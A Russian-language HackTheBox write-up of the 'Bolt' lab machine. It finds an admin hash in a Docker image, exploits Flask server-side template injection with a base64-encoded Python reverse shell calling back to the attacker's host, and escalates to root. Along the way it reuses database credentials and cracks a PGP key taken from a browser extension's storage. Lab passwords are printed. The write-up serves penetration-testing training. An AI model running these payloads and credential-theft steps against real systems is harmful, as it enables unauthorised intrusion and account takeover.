CTF SSTI и Docker Image. Bolt Medium HackTheBox!

logo.jpeg

Приветствую!​

Предисловие

Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину Bolt.
В этой статье мы отыщем уязвимые пути и файлы в изображении Docker и найдем SSTI в веб приложении. Приступаем!:p

Данные:

Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.11.114
IP адрес основной машины - 10.10.14.66

Начальная разведка и сканирование портов:​

Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:

nmap -sC -sV 10.10.11.114

1645368733996.png


Из открытых портов у нас: 22/tcp - SSH; 80/tcp - HTTP; 443/tcp - HTTPS;
Также видим поддомен хоста - passbolt.bolt.htb. Добавим его в наши хосты:

echo "10.10.11.114 bolt.htb passbolt.bolt.htb" >> /etc/hosts

Теперь давайте перейдем на веб-сайт.

1645369058813.png


Заметим что здесь отображен шаблон - Admin LTE.
Перейдем теперь на вкладку - Pages и посмотрим, если что интересного в ней...

1645369162954.png


Здесь нас встречает функционал из пяти страниц, для начала перейдем во вкладку - Sign in.

1645369259637.png


Мы попали на страницу логина, попробуем теперь ввести дефолтные данные - admin:admin

1645369312704.png


Но на наш запрос отвечают, что доступ не был получен, а также что мы ввели неправильный пароль.
Тогда попробуем создать свой аккаунт.

1645369808901.png


1645369850344.png


У нас не получилось, тогда давайте глянем что у нас во вкладке загрузки - Download.

1645369406762.png


Здесь говорится о том, что веб-изображение готово к запуску, поэтому, возможно, исходный код должен быть в этом файле.
Нас редиректит на страницу загрузки изображения докера.
Давайте-же скачаем image.tar, архив довольно большой (154 Мб).
После успешной загрузки я распакую его в папку image.

tar -xf image.tar

1645369630049.png


Итак здесь мы видим множество директорий внутри которых будет файл - layer.tar.

1645370074488.png


Давайте попробуем распаковать этот архив и посмотреть что в нём содержится.

tar -xf layer.tar

1645370132063.png


Он содержит в себе две папки - root и tmp. Перейдем в папку root и посмотрим её содержимое.

1645370211230.png


Пусто, как и в другой папке - tmp. Давайте проведем разведку в отношении поиска поддоменов этого сайта.

ffuf -w /root/subdomains-top1million-110000.txt -u 'http://bolt.htb' -H 'Host: FUZZ.bolt.htb' -fw 10870

1645370379143.png


Здесь мы можем обнаружить два поддомена, добавим их к уже существующим в /etc/hosts.
После добавления давайте перейдем на один из них... Пускай это будет - demo!

1645370461470.png


Но перейдя на него, мы опять видим форму входа в аккаунт, попробуем теперь зарегистрироваться здесь.

1645370512925.png


Но даже не успев ввести данные мы видим то, что форма запрашивает у нас код приглашения. У нас его нет :cry:
Тогда давайте пройдем на mail.bolt.htb...

1645370602596.png


Да что ж такое! Везде требуется пароль и логин, тогда попробуем поразбирать архивы в нашем, уже скачанном архиве.
Не маловато конечно папок с файлами внутри, но куда деваться)

1645370964977.png


В папке 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad мы можем заметить __init__.py и в нём Flask, это может понадобиться нам в будущем)
Идём далее, теперь перейдя уже в другую папку и распаковав очередной архив, мы заметим базу данных sqllite3.

1645371783413.png


1645371826854.png


Теперь мы получили пароль администратора, пора сбрутить его!
Используем JohnTheRipper:

john --wordlist=/root/rockyou.txt hash.hash

1645371961878.png


Есть! Мы получили пароль админа - deadbolt
Теперь используя admin - как логин и deadbolt - как пароль, войдем в аккаунт на основном сайте (bolt.htb).

1645376356510.png


Но оказалось, что здесь ничего мы не сможем найти, т.к эта страница пустая и никакой функциональности здесь нет...
Вы же наверное помните ту самую регистрацию по коду приглашения? Давайте же попробуем найти его в наших файлах.

Ключ к SSTI:

1645377027322.png


Так при поиске этого кода, мы можем наткнуться на ещё одни учетные данные support@bolt.htb:S#perS3crEt_007, но пока что оставим их в покое и продолжим поиски...

1645377157566.png


А вот и ещё один нужный нам кусочек кода, который и принёс нам этот заветный код.
Теперь регистрируемся на demo.bolt.htb!

1645377250177.png


1645377298850.png


Иии есть! В URL мы видим что мы в админской панели. Но долгие поиски вектора на этом сайте, приносили лишь одни пустые html странички(
Что же это за вкладка - Settings у нашего профиля? Давайте проверим её...

1645377555804.png


По описанию здесь сказано, что это для обновления личной информации требуется подтверждение электронной почты.
Хммм... Неужели нам предоставили доступ к mail.bolt.htb, проверим это!

1645377648861.png


Да! Наши учетные данные были зарегистрированы и здесь. Теперь попробуем отправить письмо с подтверждением.

1645377733551.png


Значит при запросе подтверждения почты, письмо приходит с ссылкой на это подтверждение от... support@bolt.htb!
Вспомнив, что мы увидели те самые учетные данные от support@bolt.htb:S#perS3crEt_007, давайте зайдем в аккаунт службы поддержки.
Но немного посидев и поняв, что эти креды не валидные я приуныл, но уже вскоре понял всю схему написания этого сообщения!
Немного разьясню, помните тот самый момент когда мы нашли AdminLTE? Точно. Это Flask, а самая известная уязвимость для него это - SSTI!

Server-side template injection (SSTI) - это уязвимость внедрения вредоносного кода в шаблон с последующим выполнением на стороне сервера.

Через это самое письмо, мы попробуем внедрить наш вредносный код в приложение и заставим его выполнить его на своей стороне, чем самым мы сможем проникнуть в сам сервер!
Ну что описание закончено, приступим!
Для начала нашего эксперимента, отправим эту строку {{7*'7'}} в письме и посмотрим ответ который нам вернула служба поддержки.

1645378649561.png


Попробуем использовать параметр - name для выполнения нашей цели.

1645378703459.png


И очередное письмо у нас на почте. Откроем же его!
Ничего... Неужели это всё... А нет! К нам пришло ещё одно письмо с ответом на наше подтверждение!

1645378805625.png


Есть! Здесь есть SSTI уязвимость, так как вывод строки {{7*'7'}} выдал нам 7777777.
Ну что, теперь осталось развить её! Давайте отправим себе сообщение с нашим реверс шеллом.
Для этого я кодирую наш пэйлоад в base64:

1645379176428.png


Далее я засуну его вывод в саму SSTI:

Код:
{{config.__class__.__init__.__globals__['os'].popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjY2Iiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==" |base64 -d | bash').read()}}

И вот теперь попробуем отправить письмо.

1645379444997.png


После отправки, бежим смотреть входящие письма! Подтверждаем...

1645379493910.png


Есть! Мы в системе! Далее дело за малым.

Повышение привилегий:​

1645379664849.png


В директории /home мы видим двух пользователей: eddie и clark.
Но доступа к ним нет, тогда нужно найти его.
Долго скитаяясь по машине, я ничего не находил, но вспомнив про passbolt, попытался найти его конфиг файл и у меня это удалось!
Найдя его в /etc/passbolt/passbolt.php, мы можем прочитать его содержимое!

1645380052628.png


И среди строк находим креды от MySQL - passbolt:rT2;jW7<eY8!dX8}pQ8%, давайте зайдем туда и проверим базы.

mysql -u passbolt -p

1645380129112.png


1645380169495.png


Нам доступны две базы данных: information_schema (дефолтная база данных) и passboltdb!
Давайте перейдем в последнюю и проверим её таблицы.

mysql> use passboltdb
mysql> show tables;

1645380277782.png


Видим интересную таблицу secrets, выведем её.

select * from secrets;

1645385607712.png


Мы видим зашифрованное PGP сообщение, оставим его на потом.
Среди таблиц заметим ещё одну таблицу пользователей - users. Теперь выведем и её содержимое.

select * from users;

1645380350858.png


Хм, пароля здесь нет, но мы также видим два пользователя.
А что если попробовать использовать пароль от базы данных, для пользователя eddie или clark?

1645380477130.png


Ура! Мы вошли под этим паролем в аккаунт eddie.

1645380532807.png


Теперь давайте попробуем получить рут!
Проверив кучу способов я нашёл сообщение от пользователя clark в /var/mail/eddie

1645380904416.png


В нём говорится про то что мы должны иметь возможность войти в passbolt без нашего закрытого ключа, также это относится к whitepaper - passbolt.
Погуглив про безопасность passbolt, я понял что закрытый ключ хранится в нашем конфиге расширения браузера!
Давайте прочитаем его!

cat /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

1645381496349.png


Далее мы видим ключ PGP, мы можем скопировать и вставить его в текстовый файл и отформатировать его.

echo -e 'НАШ ПРИВАТНЫЙ КЛЮЧ'

1645381948493.png


После получения закрытого ключа и сообщения, запуск gpg в файле сообщения сообщит нам, с каким идентификатором ключа он зашифрован.

1645384476812.png


Пора расшифровать его, будем использовать gpg2john для создания хэша этого ключа.

1645382137182.png


Пора сбрутить его! После длительного ожидания мы можем получить наш пароль!

1645384196853.png


Далее импортируем gpg ключ:

gpg --import pgp.txt

1645384291271.png


Теперь помня что у нас есть зашифрованное сообщение с базы данных, расшифруем его!

gpg -d message

1645385734191.png


И теперь мы получили чей-то пароль - Z(2rmxsNW(Z?3=p/9s
Давайте попробуем зарегистрироваться в аккаунт пользователя - clark

1645385821200.png


Странно, но почему то пароль не подошёл, тогда может попробовать зайти в аккаунт root?

1645385864272.png


Получилось! Мы рут, теперь осталось взять его флаг.

1645385902601.png


Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду ;)
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!